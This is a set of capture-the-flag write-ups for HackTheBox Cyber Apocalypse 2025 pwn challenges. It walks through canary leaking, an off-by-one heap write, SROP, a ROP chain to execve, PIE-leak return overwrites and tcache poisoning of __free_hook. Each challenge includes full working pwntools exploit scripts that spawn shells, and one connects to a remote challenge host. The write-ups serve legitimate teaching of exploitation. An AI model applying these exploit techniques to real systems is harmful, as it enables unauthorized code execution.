Category: Binary Exploitation
Difficulty: Very Easy
In this challenge, we are given a binary, and our goal is to exploit a buffer overflow vulnerability to execute the duck_attack() function and retrieve the flag.
HackTheBox Cyber Apocalypse 2025
In this challenge, we are given a binary, and our goal is to exploit a buffer overflow vulnerability to execute the duck_attack() function and retrieve the flag.
checksec --file=quack_quack
No PIE (Position Independent Executable): This means addresses remain fixed, making it easier to exploit.Stack Canary enabled : We need to bypass it before modifying the return address.NX is enabled: We can't execute shellcode in writable memory, so we need to use a return-to-function exploit.RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enabled No PIE
read(0, buf, 0x66uLL);
read() reads 102 bytes (0x66) into buf, but buf is only 4x8 = 32 bytes long. This means we can overflow into the canary.read().read().duck_attack(), which gives us the flag.payload1 = b"A"*89 # Overwrite up to canary
payload1 += b"Quack Quack " # Trigger correct input check
payload2 = b"B"*88 # Fill buffer up to canary
payload2 += p64(canary) # Insert correct canary value
payload2 += b"B"*8 # Overwrite saved RBP
payload2 += b"\x7f\x13" # Address of duck_attack()
duck_attack().io.sendline(payload2)
io.interactive()
from pwn import *
io = process("quack_quack")
# Leak Canary
payload1 = b"A"*89
payload1 += b"Quack Quack "
io.recvuntil(b">")
io.sendline(payload1)
canary = int.from_bytes(b'\x00' + io.recvuntil(b">")[13:20], 'little')
# Construct second payload
payload2 = b"B"*88
payload2 += p64(canary)
payload2 += b"B"*8
payload2 += b"\x7f\x13" # Address of duck_attack()
# Send final payload
io.sendline(payload2)
io.interactive()
In this challenge, we are given a binary that interacts with a Bard who provides a **memory leak** and allows us to **write past an allocated buffer**. The goal is to use an **off-by-one write** to set a heap-allocated pointer to `0`, bypass a conditional check, and call `read_flag()` to retrieve the flag.
v6 = malloc(0x30000uLL);
*v6 = 1LL;
printf("%p", v6); // Leaks the allocated pointer
printf("Give me the song's length: ");
__isoc99_scanf("%lu", &size);
buf = malloc(size);
read(0, buf, size);
*(_QWORD *)((char *)buf + size - 1) = 0LL;
if (*v6)
printf("Your song was not as good as expected...\n");
else
read_flag();
In this challenge, we analyze a binary with a **stack buffer overflow** vulnerability. Our goal is to exploit the lack of **stack protections**, leverage **Sigreturn Oriented Programming (SROP)**, and execute **execve("/bin/sh")** to gain a shell.
checksec --file=laconic
No PIE: The binary loads at a fixed address.No Stack Canary: No protection against buffer overflows.NX Disabled: We can execute shellcode on the stack.No RELRO: The GOT is writable.RELRO STACK CANARY NX PIE
No RELRO No Canary NX Disabled No PIE
pop_rax = 0x0000000000043018 # Pop value into RAX
syscall = 0x0000000000043015 # Syscall instruction
frame = SigreturnFrame()
frame.rax = 59 # execve syscall
frame.rdi = bin_sh # Pointer to /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b'A'*8 + pack(pop_rax) + pack(15) + pack(syscall) + bytes(frame)
io.sendline(payload)
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./laconic')
pop_rax = 0x0000000000043018
syscall = 0x0000000000043015
bin_sh = 0x43238
# io = process() # Local testing
io = connect('94.237.63.32', 37995) # Remote connection
frame = SigreturnFrame()
frame.rax = 59 # execve syscall
frame.rdi = bin_sh # Address of '/bin/sh'
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall # Call syscall instruction
payload = b'A'*8 + pack(pop_rax) + pack(15) + pack(syscall) + bytes(frame)
print(hex(len(payload)))
io.sendline(payload)
io.interactive()
In this challenge, we analyze an integer overflow vulnerability that enables memory overwriting, leading to stack pivoting and arbitrary code execution.
RELRO STACK CANARY NX PIE
Partial RELRO Canary found NX enabled No PIE
No PIE: Fixed address space, making ROP easier.NX Enabled: Prevents direct shellcode execution, requiring ROP.Stack Canary Found: Protection against stack smashing, bypassed via integer overflow.Partial RELRO: GOT overwrite is possible but unnecessary for this exploit.if ( (unsigned int)scanf((unsigned int)"%d%*c", (unsigned int)&v18, v6, v7, v8, v9) != 1 )
v18 is a signed integer, and no check is performed for negative values.v12 = (_QWORD *)(8LL * v18 + a1);
*v12 = calloc(1LL, 128LL);
v18, unintended memory regions can be overwritten, including the return pointer.-2 as input to overwrite memory where the return address is stored.syscall and spawn a shell.-2 as input, allowing us to overwrite a pointer on the stack.calloc region after function epilogues."/bin/bash" into writable memory.execve syscall (syscall 0x3b) to spawn a shell.from pwn import *
# Connect to remote or local process
# io = remote("94.237.58.215", 40276)
io = process("./challenge/crossbow")
# Send the negative index to trigger stack pivoting
io.sendline(b"-2")
# Build ROP chain
stack = p64(0xdeadbeef) # Padding
stack += p64(0x0000000000401d6c) # pop rdi; ret
stack += p64(0) # Null out rdi
stack += p64(0x0000000000401139) # pop rdx; ret
stack += p64(0x40d000) # Writable memory
stack += p64(0x4017c4) # xor rax, rax; ret
stack += p64(0x0000000000404b4f) # syscall
# Spawn a shell
stack += p64(0x0000000000401d6c) # pop rdi; ret
stack += p64(0x40d000) # Pointer to "/bin/bash"
stack += p64(0x0000000000401139) # pop rdx; ret
stack += p64(0x40d010) # Null pointer for argv
stack += p64(0x0000000000401001) # pop rax; ret
stack += p64(0x3b) # execve syscall number
stack += p64(0x000000000040566b) # pop rsi; ret
stack += p64(0x40d010) # Null pointer for envp
stack += b'QK@\x00\x00\x00\x00\x00' # syscall
# Send payload
io.send(stack)
io.sendline(b"/bin/bash\x00\x00\x00\x00\x00\x00\x00" + p64(0x40d000) + b"\x00"*50)
# Interact with the shell
io.interactive()
This challenge presents a binary vulnerable to **stack-based buffer overflow**. The objective is to exploit an **out-of-bounds write** to modify a function pointer and hijack execution flow to gain a shell.
checksec --file=contractor
Full RELRO: No GOT overwrite possible.Canary Found: Stack protection is enabled.NX enabled: No shellcode execution on the stack.PIE enabled: ASLR is in place.RELRO STACK CANARY NX PIE
Full RELRO Canary found NX enabled PIE enabled
io.sendline(b"N" * 0xF) # Fill name input
io.sendline(b"R" * 0xff) # Overflow "reason to join" to leak stack address
payload = b"\xe8" * 24 # Overflow buffer
payload += p64(0x1) # Padding
payload += b"\xef" # Overwrite return address
payload += p64(contract_leak) # Redirect execution
io.sendline(payload)
io.sendline(b"Yes") # Confirm input
from pwn import *
while True:
io = process("./contractor")
io.sendline(b"N" * 0xF) # Fill name input
io.sendline(b"R" * 0xff) # Overflow reason input to leak stack address
io.sendline(b"1" * 8) # Set age input
io.sendline(b"S" * 0x10) # Specialty input
# Leak binary address from stack
junk = io.recvuntil(b"SSSSSSSSSSSSSSSS")
contract_leak = int.from_bytes(io.recv(6), 'little') - 2061
io.sendline(b"4") # Modify specialty option
# Craft payload to overwrite specialty pointer
payload = b"\xe8" * 24 # Overflow buffer
payload += p64(0x1) # Padding
payload += b"\xef" # Overwrite return address last byte
payload += p64(contract_leak) # Redirect to contract() function
io.sendline(payload)
io.sendline(b"Yes") # Confirm input
io.sendline(b"cat flag.txt") # Get flag
io.interactive()
In this challenge, we are given a binary with heap-based vulnerabilities. The goal is to exploit an **off-by-one** vulnerability to perform **tcache poisoning**, leak a **libc address**, and ultimately gain a shell.
checksec --file=strategist
PIE enabled: ASLR is in place, so we need an information leak.NX enabled: We cannot execute shellcode on the stack.Partial RELRO: Some GOT entries might be writable.RELRO STACK CANARY NX PIE
Partial RELRO No Canary NX enabled PIE enabled
create(r, 24, b'A' * 23) # Chunk A
create(r, 24, b'B' * 23) # Chunk B
create(r, 0x50, b'C' * 24) # Chunk C
create(r, 0x50, b'/bin/sh\x00') # Chunk D
edit(r, 1, b'B' * 24 + p8(0xc1)) # Overwrite next chunk's size
delete(r, 2)
leaked = create(r, 80, b'')
libc_base = u64(leaked.ljust(8, b'\x00')) - libc.symbols['main_arena']
print(f"Libc base: {hex(libc_base)}")
# Use tcache poisoning to hijack execution and gain shell
#!/usr/bin/env python3
from pwn import *
exe = ELF("strategist")
libc = ELF("glibc/libc.so.6")
ld = ELF("glibc/ld-linux-x86-64.so.2")
context.binary = exe
idx = 1
def create(r,size,data):
global idx
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'> ')
r.sendline(str(size).encode())
r.recvuntil(b'> ')
r.sendline(data)
idx = idx+1
return idx-1
def show(r,idx):
r.recvuntil(b'> ')
r.sendline(b'2')
r.recvuntil(b'> ')
r.sendline(str(idx).encode())
r.recvuntil(b'Plan [')
leaks = r.recvline().strip()
idx = int(leaks.split(b']')[0])
print(idx)
return idx
def edit(r,idx,data):
r.recvuntil(b'> ')
r.sendline(b'3')
r.recvuntil(b'> ')
r.sendline(str(idx).encode())
r.recvuntil(b'> ')
r.send(data)
def delete(r,idx):
r.recvuntil(b'> ')
r.sendline(b'4')
r.recvuntil(b'> ')
r.sendline(str(idx).encode())
def main():
r = process("./strategist")
sleep(1)
ChunkA = create(r,24,b'A'*23)
ChunkB = create(r,24,b'B'*23)
ChunkC = create(r,0x50,b'C'*24)
ChunkD = create(r,0x50,b'/bin/sh\x00')
chunkE = create(r,24,b'E'*23)
edit(r,1,b'B'*24+p8(0xc1))
for i in range(7):
create(r,0xb0,b'tcache')
for i in range(11,4,-1):
delete(r,i)
delete(r,2)
leaked = create(r,80,b'') #2
leaked = show(r,2)
leak_libc = u64(r.recvline().strip().ljust(8,b'\0')) << 8
print(hex(leak_libc))
libc.address = leak_libc - 0x3ebd00
print(hex(libc.address))
create(r,48,b'/bin/sh\x00')
create(r,24,b'f'*23)
#edit(r,4,b'f'*24+p64())
delete(r,4)
delete(r,6)
create(r,24,b'T'*23)
create(r,24,b'gggggggg')
edit(r,4,b'T'*24+p8(0x51))
delete(r,6)
create(r,60,b'8'*24+p64(0xc1)+p64(libc.sym.__free_hook))
create(r,0xb0,p64(libc.sym.system))
create(r,0xb0,p64(libc.sym.system))
delete(r,3)
#gdb.attach(r)
r.interactive()
main()